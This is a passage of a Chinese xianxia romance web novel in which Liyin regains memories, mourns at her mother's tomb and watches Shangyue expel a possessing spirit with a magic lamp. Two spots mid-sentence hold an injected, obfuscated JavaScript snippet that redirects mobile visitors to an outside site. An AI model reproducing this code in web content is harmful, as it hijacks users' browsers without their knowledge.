为更好地迎这一击,她尽量把身子放到了最软,这一下打下去,火辣的痛感霎时从手心传来。 璃音喊也未喊一声,就忙低下头去,把挨打的这只手在男人掌心之中抻平了,翻过来、又翻过去地细细观察着,简直像在给烙饼翻面。 翻了半天,又等了半天,也只等来一道浅得不能再浅的淡痕,比起摇光那日泛出的淤痕,实在也差得太远了!看来自己这记忆回来的时候,大概率会是个龟速,注定是要比他慢了。 没想到身子太抗揍,有一天也会成为烦恼,璃音垮着肩,长长叹出一口气。 这种事上输了也要不高兴,摇光好笑地替她把玉尺收进她自己的乾坤袋中,然后十分自然地牵住她手:“接下来去阿娘的墓里看看?” 一听这话,少女立马雀跃起来,她点点头,又狐疑地抬眼问他:“你知道我阿娘的墓在哪?” 忽而又察觉出哪里不对,少女圆圆的眼睛,立时对着摇光乜了一乜:“那是我的阿娘,谁许你也喊她阿娘了。” 低头看看男人不知何时牵上来的手,心里佩服他这厚着脸皮见缝插针的功力真是半点不减。 再一抬头,看他一身散漫、挑眉含笑地站在自己的墓室之中,那满身悠闲的气度,竟仿佛他也是这里的墓主人一般,哪有半点“客人”该有的样子,完全就是以主人自居了!璃音想起什么,撇撇嘴,兀地抬起一边胳膊,捋苞米粒一样,大力把他的手给捋了下去。 血灵法阵开启那日,她不过为了哄他,喊了他一声夫君,他还顺杆爬上了,真把自己当她夫君、把这也当他自己家了不成? 璃音又默默环视一遍这满室的黄金珠宝,不行不行,那可不行! 银色流光一闪,少女身影骤然消失,下一息,墓室角落那一箱箱黄澄澄的金条之前,便有一道窈窕纤细的青色身影,把自己俯蹲成了个团子,裙袖一撸,乾坤袋大口一抻,便开始欢快地往里面装起了金子。 摇光:“……” 摇光垂着那只因为败给大金条,而被少女毫不留情捋下来的手,失笑。 身旁的棺盖还微微错着,他看一眼棺中泛着淡淡金光、寂然安睡的人骨,笑意越发柔和下来。 没关系,只要等她记起来,以后她就会知道,他到底能不能那样喊她的阿娘了。 他只需要等,耐心地、慢慢地等。 他等过她很多次,每次都等了她那么久,等她,大概便是他除了活着以外,做过最久的一件事了。 所以他有她都不知道的、极长极长的耐心,等她记起他,也等她记起惘山之巅那个慨然赴死的少女。 他一直都知道,她的心需要一副解药。 他还知道,这个解药,他或许可以暂时地充当,任何一个喜爱她、对她好的人,都可以暂时地充当,但他们终究都不是,只有那个在火光中,为着数万不相识亦不相干的生灵、敢于无畏赴死的少女才是。 摇光抬手,慢慢将棺盖推回,身侧银光闪过,少女已装了满满一袋金子,一脸心满意足地回来了他身边。 他笑了笑,重新牵住她手:“好了?” 男人这一副安然等她薅财薅个尽兴再出发的姿态,反叫璃音不好意思起来,她干咳一声,赧然握住他手:“好了。” 掌心交握处冷蓝清辉乍起,两道身影眨眼便在墓室之中消散,只留下男人一串低低的笑声,和少女哼声找补的一句余音:“这以后都是要孝敬虞姐姐的,也不好总是吃人家的软饭嘛,你笑什么,你还笑……” 157. 第156章 玉虚琉璃灯 在阿娘和秋莺的墓前,璃音一一洒过清酒,便小声絮絮给她们汇报起了自己的近况。 她有些止不住哽咽,又怕哭出声来丢脸,所以话都说得格外小声。她说自己现在过得很好很好,请她们放心,还让她们尽管昂起脑袋转世,她如今修成了仙身,是阿娘顶有出息的孩子了。 仿佛还是三百年前人间里的那个小姑娘,一到阿娘跟前,没说几句,便忍不住摇着尾巴,求起夸来,摇光看着,不由低低笑了一声。 笑音未落,便换来少女眼眶红红的一记横眼。 看这爱哭鬼在自己面前辛苦忍着眼泪的模样,摇光又不禁眉尾轻抬,在她强忍的眼神中,手臂向她微微张了开来,他含笑轻声:“要来抱我么?” 知道是要给她个安慰的拥抱,但哪有人是说着这样的话给的,当真好不要脸! 正自腹诽间,璃音手心那一道浅淡到近乎消散的红痕,却就在此时,伴着识海中一掠而过的某个画面,极快、却极烫地,灼了一下! 画面被一圈紧窄的石壁包裹着,那石壁灰白,其上荒草探生,好似身处一口枯井,是璃音万分熟悉的一处所在。 而在那枯井的井底,一男一女正靠坐在一处。 少女抱膝坐着,耷垂着脑袋,虽看不清脸,但光从这坐姿,也能看出她此时的怏怏不乐。 而男人覆着一副银甲般的面具,看不见面容,只能瞧见一双关切静谧的清眸,长久而安静地凝望着那少女,而后忽地,他向那少女微微张开了手臂,低声含笑:“要来抱我么?” 那少女一顿,然后似有讶然地抬起脸来,而就在那一瞬间,璃音看见了自己的脸。 ——“要来抱我么?” 男人两道同样清凌含笑的声线,也跨过不同的时空,在璃音的识海之中,猛地交叠! 这一刻,她几乎连呼吸都怔住。 而一怔过后,便是巨大的惊骇! 这这这人怎么会出现在自己凡间的记忆之中的? 不,绝不可能! 璃音猛地抬眼,望向此刻正张开双臂等她投怀送抱、安静笑望着自己的男人。 见她怔忡,他却瞳色忽深,有什么光亮,似乎在其间跃跃烁动了起来,像隐含着某种深晦的期盼:“阿璃可是想起什么来了?” 识海中的画面一闪而逝,恍惚如幻,但掌心残留下的灼热烫意,却明明白白昭示着那一抹记忆曾真切地来过。 璃音轻轻捏握了下手心,压下满腔的惊涛骇浪,微一眨眼,面上神色便又恢复如常,她故作淡定地移开视线:“可能是和阿娘聊得久了,刚才眼前似乎闪过了一点和阿娘有关的画面,但很模糊,没能太瞧得清。大概是痕落得太浅,终归没那么容易就记起的。” 身侧一时寂然。 骗了他,还是有点心虚的,璃音绷了会,就想偷扭过点头,看看他的神情,刚要转头,一个宽和有力的拥抱却忽从侧旁兜身罩了下来。 “现在一时想不起来也没关系,不急,慢慢来,总会想起来的,没有人会因此责怪你,你的阿娘更不会。”男人轻缓安抚的嗓音,从头顶上方羽毛般飘了下来。 璃音怔了下,好久才轻轻嗯了一声,然后一吸鼻子,脑袋深深埋进他怀里,安心又安静地放起了眼泪。 只是一个没头没脑、看不出任何前因后果的画面而已,她却下意识就骗了他。 或许是少年时对那一点父爱的求而不得,让她自小就认为,爱意是极其珍贵、要尽心争取才有可能得到的东西。 正因得不到的时候如此渴求,所以后来只要得到的,她就绝不敢辜负,在她眼中,辜负他人的心意,可以说是有罪的。 前世的她,会那样懵懵懂懂应下商月的告白,也就是为此吧。 所以,如果在她的生命之中,他曾经来过,可她却把他忘了,如此辜负,他一定会责怪她的。 没能把事做好,就是会被责怪,会得不到爱的。 可是没有。 原本要给她的拥抱也没有收回,他仍是给她了。 哭完了,天色也暗了下来,璃音默默在男人崭新的前襟上滚蹭着脸,蹭干净泪痕,才仰起头来,拉拉他的袖子,说:“不早了,锦云仙子她们那边的事也该处理得差不多了,我们回去看看吧。” 虽说孙守义之事全权交给商月处理了,但结果如何,还是要回去确认一下,以便向西王母汇报交差。 摇光自然说好,但看见少女仰起的脸,却不由笑了一声:“你这样过去,旁人见了,还以为受了我多大的欺负。” 抬起袖子,重新将她的脸仔细擦过,这一下才是真的擦干净了。 璃音面上有些发窘,但嘴还是硬的:“那我自己一个人回去好了,别人看不见你,自然就不会编排你了。” 作势就要叩动腕间的传送铃。 指节才刚要曲起,整只手便已被他笑着包裹住了,清寂墓地之中,湛蓝流光划过,向着皇城中两人落脚的那一间客栈,疾速落了过去。 * 回到早先的那间客房,屋内无人,茶已凉了,用过的两只茶盏都仍在桌上原位摆着,看起来没被人动过。 璃音的目光就在其中一只杯盏上微滞。 她临走前斟满了茶水、递给摇光的那一小盏,此时居然空了。 真怪。 曾在这间屋子待过的人,商月,锦云,他们二人之中,难道有谁会喝别人用过的茶盏? 向摇光瞥去一眼,他视线淡淡落在那只杯盏之上,显然也发现了。璃音不知是不是自己的错觉,总觉得男人看向那只杯盏的某个瞬间,他的唇角,似乎淡淡冷笑似的轻勾了一勾。 就在这时,隔壁屋内,有男子激动的厉吼之声传来:“不!我不走!总之我不亲眼见到她,听她给我一个说法,我是不会走的!你们有本事就杀了我!不然,就是天上的神仙,也休想把我给打发了!休想!” 是孙守义! 听这话,看来事情解决得并不顺利啊。 而且,商月办事果然还是稚嫩,如此大的动静,竟连隔音结界也未设下,就不怕惹来好事的凡人听墙角么。 屋内的两人对视一眼,同时丢下一个结界,然后一个闪身,便又一起出现在了隔壁的客房之中。 没错,他们就是如此小心眼,这般直接闪身进来,就是回敬他和锦云之前不敲门的。 然而入得屋内,璃音却发现只有商月和孙守义二人,锦云和两个孩子都不见了,想是怕波及无辜稚童,锦云便将他们先行抱走了吧。 而在进屋的同时,竟有一股岩浆喷涌般的热浪,扑面压来! 是有火吗…… 好热! 璃音的身子应激性地一僵。 她本能想要离开,却抬不动步,明明无火上身,周身却有如火燎,眼尾抽痛起来,十根手指都不自然地僵硬蜷起。 偏在此时,掌心那道浅色的淤痕,竟倏然如被火舌舐上,剧烈地灼痛起来! 脑海之中有模糊的画面疾掠过去。 高高的祭台,端坐的少女,还有少女身上,那燃烧不休的赤红色的火焰…… 是谁,是谁在被火烧? 璃音一颗心跳得猛烈,她急切地想要看清,可那端坐于火光之中的少女,却始终只肯给她看见一个模糊的影子。 她眼尾抽痛地愈发厉害,喉咙莫名干涩,像被灼穿了喉管,她张开口,胸膛剧烈地起伏,大口大口地呼吸着,却还是觉得仿佛下一刻就要窒息。 而这一切躯体感应的触发,也不过就在踏入房内的瞬息之间。 就在她快要在幻觉中窒息的那一刻,漫着幽寒星辉的一道结界罩下,热浪被斩断的同时,她僵直的躯体也落入了一个宽阔而坚实的怀中。 “别怕。”摇光低头看她,轻柔地牵裹住她的手,替她将僵直的骨节一根根揉开,“东海冰晶带在身上吗?” 璃音艰难地向他点了一下头,可手指还是有点抬不起来,她着急起来,说:“在身上,就在我脖子上挂着。” 摇光立刻将冰晶从她颈上捞出,灵力灌入,丝丝缕缕舒爽的凉意,立时沁润进少女体内的每一丝脉络,璃音轻喘一声,窒息的感觉终于退却。 得救了。 见她筋骨放松下来,摇光也才心神略松,可下一息,察觉到身后气息的靠近,他忽面沉如水地回头,向着来人冷喝了一句:“把灯盖上,拿走。” 商月步子一顿,还想继续上前,但见璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15294738|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音受惊一般窝在男人怀中,似乎忽然意识到什么,他僵停下了脚步。 他原本正要对孙守义这颗“石子”进行驱逐,不料有人突然进屋,见是璃音,也未作多想,提着手中灯盏便迎了上前。 商月抬手轻拨,将敞开的琉璃灯罩合拢,再抬眼时,恰好对上璃音好奇地从摇光怀中探出头来,望向那灯的视线。 他看着她,温声笑道:“抱歉,我不知道你过来,这灯曾差点砸着你,吓到你了吧。” 差点砸着她? 璃音本就觉得这灯眼熟,这句一出,立时就确定了:“玉虚琉璃灯?” 不会有错,就是瑶池宴上,被一只佯装醉酒的白鹤叼在嘴里,狠狠往她脑袋上砸下来的那盏灯! 璃音也说不清那感觉是不是被吓着,但她其实只是畏火怕热,和是不是这盏灯倒也没多大关系。 只是…… 她歪着脑袋好奇地问:“这灯怎么会在这里?” 商月没有回答,而是回头瞥了眼被灵力绑缚在床、动弹不得的孙守义。 璃音登时明白了这灯的用途。 玉虚琉璃灯,灯内燃一簇万年不灭的琉璃净火,传闻这火可烧炼神仙体内仙元,只没想到人家的用途还远不止于此,看样子,还是能驱逐“石子”体内神魂的利器呢。 璃音一时心下警觉,脚下默默蹭后两步,觉得自己以后还是离这东西越远越好。 见她退后,商月不自觉便要迎上,摇光眉峰一凛,刚要动作,就被璃音一把拉了回去,又被她拽扯着,噔噔连退了好几步才罢休。 商月才进了两步,便不得再进了,摇光之前布下的那一道星辉漫烁的结界,就明晃晃地拦在他身前。 璃音把男人拉远了,两人一起远远挤站到了屋内的一个小角落里,看起来甚是局促滑稽。 然而璃音不觉得局促,她拱着手背向外,朝商月挥手:“是我们打扰你办事了,别管我们,你继续。” 待赶得商月回了身,才忽地板下脸来,把摇光又往角落里拎了拎,拽着他的袖子,压沉着声说他:“他手中有玉虚琉璃灯,盖子都还没盖紧呢,你也往上凑,那火星子要是不小心溅出来一点,溅你身上,烧进你仙元里怎么办。” 璃音是真有点恼他。 玉虚琉璃灯、在宴会上突袭她的白鹤……这些东西,无一不在提醒着她,距离昆仑的那一场大劫,越来越近了。 那便也意味着,距离前世的摇光神君陨落的日子,也越来越近了。 她知他行事向来肆意,向来无畏,她很喜欢、也很钦佩他这点。 可心头被他前世的结局压着,就不免为他悬心起来。 谁知这人听了,居然对她傲气地一挑眉:“那种等级的东西对我没用。” 那颇为自傲的小神情真是气得璃音一噎,可偏又那样叫她心动,璃音无奈,竟看着他这副模样笑了起来:“行行行,知道神君厉害。” 但也不忘继续板起脸,严肃告诫他:“可再厉害的人,也不能事事托大。这世上,总有事情是你一时应付不来的,反正像玉虚琉璃灯那种危险的东西,你以后看到了,少自己往上凑。这是我作为娘娘御派给你的老师,严肃下达给你的命令,听见了吗。” 男人似乎仍有些不以为意,但看少女充满警告的眼神,还是笑起来,乖巧应了声:“好。” 璃音这才满意了,蓦地,只听身后孙守义一声惊嚎,接着,似乎有轻飘飘的一声,嘶—— 嚎叫声戛然而止。 璃音听得心里发毛,一回头,只见商月提着灯,而灯内那团常燃不灭的琉璃净火之上,一团水雾般的白气正袅袅上旋,只一个呼吸之间,便飘散不见了。 而孙守义俯跌在床榻之下,已是一动不动,状若死尸。 这是……死了吗? 璃音一惊,轻轻喊了声:“商月?” 而那道修挺如青竹似的身影,却仿佛没有听见一般,只是提着灯,背对着自己。 灯火将孙守义身体的轮廓投照在他的身上,明明看不见他的神情,璃音却能感觉到,这跳跃灯火中的一团阴翳,似乎也为他蒙上了一层什么。 而他仍只是背对着自己,没有回应,也没有回头。 158. 第157章 凉意 孙守义是做了一些缺德事,可就罪该至死吗,璃音也说不大清。 只是…… 她看着眼前灯火中,沉默而挺直的背影,不由得想起在伏龙山顶、不还寨中,为着一抹贪欲难填、四处毁棺吞骨的恶煞的“感化权”,商月温声温气、却与虞宛言据理力争了好半天的样子。 他是月宫里最心性纯澈、不谙尘世的小公子,如一缕穿林的清风,一轮皎皎的朗月。前世,璃音下山办事时,有时对付妖邪下手狠了,他知道后,都会面露不忍,和她说:“阿横,那毕竟也是一条活生生的命。” 要说心软,那他无疑是璃音见过最能心软、最能博爱世上一切生灵的一位仙君。 可是现在…… 神识向着孙守义探过去,那一具趴伏在地的肉身里面空空荡荡,分明已经神魂不存了。 璃音收回探查的神识,她轻压着颤音,再一次发问:“商月,他死了吗?” 这一次,商月好像终于听见了她的话,他缓慢抬起纤白的指节,将灯上的琉璃罩仔细拨拢之后,才提灯回身。 灯火荧荧,跳跃着照亮他一对漆黑的瞳仁,也照亮他依旧清风朗月般的一张脸,他眼尾温温静静弯下一点,回望向她,答:“没有,只是送他回了该回的地方。” 原来只是送“石子”回归他原本的时空了。 想起他之前接手孙守义之时,与自己说的也只是“驱逐”,而非“清除”,璃音心下略松了一口气。 但一看地上趴着的死尸一样的男人,璃音又眉心微蹙起来:“那这里的这个孙守义怎么办,他就一直这样了吗?” 未来的魂魄吞噬掉了原本的神魂,又被驱赶回了未来,如今剩下这么一具无魂无主的空壳,又要如何安置? 而相比孙守义躯壳的去处,璃音还有更忧心的:“他那两个孩子怎么办?” 母亲是真正的远在天边,父亲又成了个失魂的空壳人,两个稚童,还那么小,要如何在这凡世生存? 见她热心,商月那漆黑瞳仁里映照出的火光,似乎也随之跃动了一下。 他向她上前一步,正欲开口说些什么,蓦地地面上传来男子一声细弱的呻/吟,低头一看,只见孙守义原本死寂的身子,突然间腰背向上一耸,猛抽了一个激灵! 璃音第一个反应过来,她眸色一沉,当即腕骨一抖,叮铃—— 缠挂着九只铃铛的褐色长鞭,向着地上蠕蠕抽动起来的孙守义,用力甩出! 与此同时,孙守义猛地抬起头来,阖着的眼皮一掀,竟是向着屋内三人,睁出一双赤红的血眼! 恶灵附体! 璃音神思一凛,手中长鞭愈发加力。 而男人仿佛兽嚎一般,大口一张,从喉咙里滚出一声:吼——! 便双臂离地,后脚一蹬,如一只入了狂的人犬,冲着离他最近的商月,奔扑而去! 而就在这时…… 啪! 一道褐色的鞭影,挟着凌厉的风声,瞬息袭至,重重抽在了那“狂犬”的下巴之上! 一鞭把人重新抽翻在地,顺便合上了那东西因龇牙乱吼而猛张的大嘴,璃音趁隙扯过还在发怔的商月,自己一步上前,将他护在了身后。 可就在她要召出玉横,收了偷钻入孙守义体内的恶灵之时,忽觉身后一阵滔天的热浪奔涌,一团赤红泛紫的幽亮火焰,竟猛地自她身侧蹿了出来! 璃音动作一僵。 “狂犬”见状,大嘴兴奋地一咧,露出上下各八颗白森森的大牙,便转换了目标,大吼一声,向着明显滞住的璃音扑了过去! 商月焦急的喊叫声自身后传来:“阿横!快躲开!” 璃音真是又惊又气:我倒是想躲!你说你灯罩都合上了,没事又把那琉璃净火放出来做什么! 她当然明白商月放出那火,是为了助她驱赶恶灵,但小小一个恶灵,她早已轻易掌控了局势,真不懂他为何要多此一举。再说了,那小火慢煨的,能有她这专克恶灵的鞭子和葫芦快吗! 这一打岔,反叫她真有可能要被那“疯狗”咬上一口了,璃音咬牙,身子本就应激,此刻更是气得话也说不出。 好在玉横懂得护主,就在那孙守义扑身而来之际—— 唰! 玉横腾起,顿时满室萤碧色的清光大亮! 葫芦小嘴对准了“疯犬”那张迎面龇咧而来的大口,就是气势汹汹地一张! 它一抖肚子,满身骄傲,自己大显神威,为主人发光发热、鞠躬尽瘁的时候到了! 它志气昂扬地张着嘴巴,挺着肚子,狠狠一吸! ……然后吸了个空。 唰! 一道剑影比它更快,就在它摆弄姿势这会儿,湛寒清寂的冷蓝色剑光,伴随着巨大的神剑虚影,没有一丝一毫迟疑,对准孙守义的脑袋,凌空一斩! 滋滋—— 一缕黑雾自孙守义眉心向外溃散,恶灵荡尽,孙守义最后挣扎着抽动了两下,便轰然倒地,再不动弹了。 一切发生得太快,商月急喊的那一句话音还未结束,恶灵已被破军一剑斩杀,孙守义也已又一动不动,趴伏在地,回到之前那具空心人的状态了。 可那道剑影并没有就此收回。 呼! 过快的剑势挟起劲风,以剑影斩杀恶灵之后,一滞未停,便虚影化实,向着那一簇幽紫色的琉璃净火,剑身一转,横劈一抄! 滋—— 燃了万年都不曾熄灭过的琉璃净火,就在这肆意一斩之下,火光脆弱地一摇,灭了。 商月面色一变。 璃音还半僵着身子,见状也呆了一呆,眨了眨眼。 摇光淡淡收回破军,仿佛他方才一剑挑灭的不是什么万年天火,而只是凡间最普通的一段灯芯而已。 眨眼之间,他便斩了恶灵、灭完天火,此时一边不紧不慢地收着剑,还有空不咸不淡瞥一眼玉横,向正在茫然的小葫芦投去了一个“你失职了”的淡漠眼神。 玉横被这目光凉凉一扫,当即吓得肚子一缩,小口一闭,浑身气派的清光都给吓萎了。 抢功就算了,居然还当着主人的面,故意用那样明显的眼神挑刺它,显得它好不中用!偏他还是主人看上的男人,自己又不能对他怎样,呜呜呜,可恶,好可恶,主人看上的这个家伙,对自己实在是太不友好,太可恶了! 可怜的小葫芦耷拉着脑袋,灰溜溜一甩颈间系绳,缩着脖子,一路飞回,往主人腰间裙摆间一藏,再不肯露面了。 商月指节捏握过几遍,最终还是忍下,先扳转过璃音的身子,小心查看起来:“阿横,你没事吗?可有被伤到哪里?” 对上商月焦急关切的一双眸子,璃音心底长长叹了口气,压下那些被打乱了战斗节奏的无奈,尽量放轻着声音,说:“我没事,神君出手快,再那恶灵没伤到我。” 商月这才放下了心,他后怕地拥上来,一把将少女紧紧拥入怀中:“那人扑上来,是不是把你吓住了,怎么躲都忘了躲。阿横,下次你心里若是害怕,不必强撑着帮我,看你那时没能躲开,才真是把我吓坏了。” 璃音:“……” 璃音:“……?” 不是,他俩刚才经历的,是同一件事吗? 璃音嘴唇张了又张,有种想说些什么,又完全不知该从何说起的巨大无力之感。 感觉到男人拥着她的整个身躯都在微微发颤,显然是真在后怕,璃音只得又在心底狠叹一口气,张着嘴巴苦笑一声,抬手,轻拍了拍他的肩。 能驳他什么呢。 反正驳他什么都会显得自己很没良心的样子。 还是就像往常一样,什么也不说了吧! 正叹着气,兀地,璃音后颈汗毛一竖。 这屋子门窗紧 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此时的孙守义被月华镀身,面容宁静,安详而卧,被抽走了疯劲,看面相,五官端正,浓眉大眼,麦色的肤色更是衬得他整个人十分矫健亮眼,全然就是一副老实能干的农民模样。 真难想象这样一个人,居然会去偷看仙女洗澡,还偷走了仙女的裙子。 果然人还是不可貌相,不是长得帅的男人就不会猥琐了,璃音暗自咋舌,凑头过去,看见商月手中那小瓶,好奇道:“月露?” 商月嗯了声,只道:“这样便可保他肉/体无虞了。” 说罢,便不再多做解释,只微微一笑,便又将那瓶子塞起,小心收回了袖中。 人家月宫里最神秘的宝贝,不想多做说明也能理解,璃音识趣地没再追问,只在心里笑了笑:搞得这么神秘,其实就是月牢那一层结界的原材料而已,早在前世坐牢的三百年里,她就把这东西摸透了,还成功破解了它,逃出去了呢。 不愿多被探究月露的来历,商月收起瓶子起身,也笑着转移话题道:“孩子毕竟是织女娘娘亲生,我已让锦云将他们带回织女宫中,暂由她们宫里的人代为照管,阿横也大可放心了。” 亲爹发这一场大疯,孩子们倒是因祸得福,上天宫过上好日子了,璃音确实放心了,但后颈仍是凉凉的,她有点心神不属,就在自己的敷衍语库中随便挑了句客套话出来,向商月点头笑道:“你办事,我当然放心的。” 商月一听,慢慢笑起来,一面去扶起孙守义,准备带走安置,一面亲昵道:“此间事了,你今晚也该回去巫真师姐那修炼了吧,今晚兄长不在,还是该我监督你。等我把他安置好,过来接你一起回山?” 回去继续在他“吵死人”的监督下修炼吗?吓得璃音连忙摆手:“不用不用,我在山下还有些琐事,王母娘娘特地为我准了假,不用回山的,你办完事就自己回去吧,不用管我。” 商月捞起孙守义的动作一顿,回头疑惑地道:“你不是为孙守义之事下山的吗,这事我已了了,你在山下还有什么事?” 他顿了顿,向璃音身后望去一眼,又道:“我们既经手同一桩事务,我自然就要对你的安全负责到底,我留你一人在此,回头兄长和巫真师姐若是问起来,我只怕不好交代。” 没想到还要被追问,璃音一噎,感受着后颈仿佛要钻破她肌肤的凉意,她忽地一笑,回身一把挟住摇光一只胳膊,向商月道:“怎么不好交代,你就回去和师姐师兄说,是摇光神君心性顽劣,实在难驯,这次下山很不听话,你看他今日不还打灭了你的琉璃净火,这行为,就实在顽劣,顽劣得令人发指!所以我任重道远,只好星夜不寐、寸步不离,教导于他,想必师姐和师兄都一定会体谅和支持我的!” 商月愣住了。 璃音后颈的凉意却终于一散,头顶一道散漫清懒的男声,悠悠飘了下来:“嗯,学生顽劣,还需老师多加训导。” 159. 第158章 视死如归 商月拾掇了孙守义,临走前,璃音望着他手中那空空的一盏琉璃灯罩,不禁为某位肆意妄为的神君担心起来,他这般挑灭天火,日后不会被月宫参上一本,三千条投诉变三千零一条,拎去问责吧? 她不由清了清嗓子,随口一提般,冲着商月浅笑嫣嫣问了句:“这琉璃净火不小心灭了,无碍吧?” 这“不小心”三个字加得实在刻意,商月的视线不动声色扫过二人挽在一起的胳膊,回到少女笑意清灵的脸上,也向她温和一笑:“无碍,一盏灯而已,央元始天尊重新点上就是。” 这么说,就是不会计较的意思了,璃音放下心来,弯起眼角,笑得真心了些:“嗯,那我们就不继续耽搁你办事了,你快去吧。” 我们,你。 一句话里,几人间的亲疏便已被她分得这样清楚。 商月只是笑了笑,没再说什么,捞了孙守义在臂弯里,便转身要走。 看着他清瘦的背影,璃音却忽然想起什么,在他化作一道流光离开前,忽又开口叫住了他:“商月。” 商月回过头来。 少女认真凝望着他,眸中满是关切:“你一个人在外办事,自己要多加小心。” 她不放心地切切叮嘱着:“以后这些事,也不要一个人去做了,最好还是多叫几人结伴,遇事彼此间能多几分照应,我和商止师兄也能安心。” 商月微怔,几息后笑起来,重重嗯了声,看了她好半晌,才轻声和她告别道:“阿横,我走了。” 璃音举起没扒在摇光胳膊上的那只手臂,笑着朝他挥了挥。 希望商月能比身边这难管的家伙听劝吧,前世,差不多就是在这时候,商月负伤回来,全靠她自伤己身,那浮光剑一道道往自己身上割,才强逼玉横帮他捡回一命,这么又痛又无聊的事,她可不想再来一次了! 然而商月一走,颈后那股子凉意就又隐隐泛了上来…… 璃音顿了顿,默默抬眼,向着身侧望去…… 嗯,那一双不笑时凌厉非常的眼睛,果然正在向她默默无声地发射着寒气。 见她望来,摇光眸底寒气不减,眉尾却微微向上一勾,似笑非笑扯开一点唇角:“很喜欢他?” 璃音被这没来由的一句话惊得着实一呆。 青天大姥姥,自己不过是和商月多说了句类似“路上小心,注意安全”的告别语而已,他这又是从哪推导出的惊天大论! 前世就算她不懂情爱之事,犯了一回迷糊吧。 可这一世,她可是一开始就把商月明明白白拒绝掉了,哪里就被看出“很喜欢他”了呢? 少女心里有点委屈,不自觉将两只手都攀上了男人的胳膊,攀紧了,几乎半个身子都挂去了他长臂上,仰眸殷殷盯着他,十分无辜地眨巴了下眼睛,以示冤枉,请求重判! 谁知男人竟不为所动,淡扯了下眼尾,低眸望着她,颇为自嘲似地道:“怎么,想说现在更喜欢的是我,要我多听话、多乖一点?” 璃音这下是真有点怔住了。 平日里吃点小醋,她都可以当作是彼此间的情趣,很自觉地服软哄他,可他这话是什么意思,是在指控她,说她是脚踏两只船的渣女吗? 哄他的心一下子就冷了,扯嘴冷笑谁不会呢,少女一把扔开男人的胳膊,凉凉一扯唇角,无所谓地道:“是啊,月宫少主那样又乖又听人话的小仙君,谁能不喜欢?” 不理会某位神君快沉到底的脸色,她慢悠悠踱步到桌前,执起茶壶,给自己斟了一杯茶:“这世上的女子,哪个会不喜欢乖点的男人呢?不乖、不听话的孙守义是什么下场,神君方才也看见了,本来一年总还能见到一次,疯过一场,就连那可怜的一次也给作没了,所以啊……” 她慢慢抿一口茶,下定结论:“男人,少作。” 身后的神君一言不发,然后一阵疾步声响,男人提袍迈着长步,袍角带风,自她身侧头也不回地走了过去。 几步跨至门前,吱呀一声就拉开了屋门。 怎么,发起脾气来了,还想给她整摔门而出那套? 璃音哼地一声放下茶盏,快步上去,就赶在男人跨步出门的瞬间,扶住门扇,狠狠一用力,在他宽挺的背影之后,砰的一声,将两扇房门又重又死地合上! 拍拍手转身,屋内清蓝流光闪过,眼前男人黑着一张脸,又在房间正中央大剌剌站着了。 璃音强忍着笑,只当没看见,目不斜视走过他身侧,径直往榻上一坐:“天晚了,神君也请回吧,孤男寡女的,再待下去,恐不合适。” 说着也大剌剌在他眼前除起鞋袜,泰然自若地把腿往床上一盘:“小仙要入定修习了,神君在那边站够了,走时记得帮小仙把门带上。” 说罢,眼睛一闭,呼吸渐匀渐长,还真入定了。 摇光在原地站了一会,面无表情走过去,低着眸子,又把床上安然入定的少女无声盯了一会,然后俯蹲下身,平视着她阖目后越发显得浓长卷翘的黑睫,抿了下唇。 静默半晌,他忽地伸出手去,对准少女玉白饱满的颊肉,用力捏了一把。 入定后的少女没有反应。 男人顿了顿,眉心微塌,又换一边脸,一连捏了好几把。 他捏晃着她的脸,低低控诉地说:“这世上,可没第二个人敢如此对我。” 看少女被他捏扯着颊,唇角都给扯得歪了,入定中的她却一无所知,他又不禁无声笑了下,放过了她可怜的脸蛋,起身,拍了拍她发心:“你也乖点,我明天再来看你。” 然后屋内便再没了动静。 本该正在入定的璃音睁开眼,抿起唇,摸摸脸,又怕摇光神君神通广大,还有法子偷听,不敢笑出声来,只好抿紧了唇角偷偷地笑,笑了好半天才停下。 笑完了,趿鞋下来,坐到桌前静了会神,从乾坤袋中掏出一张大大的昆仑山图册铺开,又拿起一支笔,蘸饱了墨,细细在纸面上勾画起来。 护山大阵设计起来不是那么容易,也不好在师姐师兄眼皮子底下琢磨,这下山的时机刚好,有了足够独处的时间,这些准备,做起来就自由多了。 直研究到半夜,这一天奔波下来也实在是累了,起身想伸个懒腰活动一下,结果不知不觉身子往榻上一歪,就睡着了。 隔天一早睁眼时,发现身子躺得舒舒服服,还被严严实实盖了床被子。 她坐起身懵了一会,竟有一股扑鼻的鲜香,混着男人清和好听的嗓音,一起悠悠传了过来:“这家店里的云吞很有名,过来尝一点?” 心里在笑,但还是状若无事地掀被下了床,璃音抬手拢了拢头发,又理了会衣襟,大小姐一般施施然坐下,瞅了眼桌上香喷喷的一小碗云吞,一脸无可无不可地道:“也行,那就尝尝好了。” 看少女装模作样拢过后还是乱糟糟的一头乌发,摇光轻笑了声,走过去拿过妆台前的篦子,回忆着当时见过的秋莺的手法,趁她一面吃着小馄饨,就在她身后重新为她挽起了发。 大小姐被服侍得一脸理所当然,吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308409|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完还大方地赏了他一根金条,又抚着发鬓一脸新奇凑去镜子跟前,照完左边照右边,心情显然颇为晴朗。 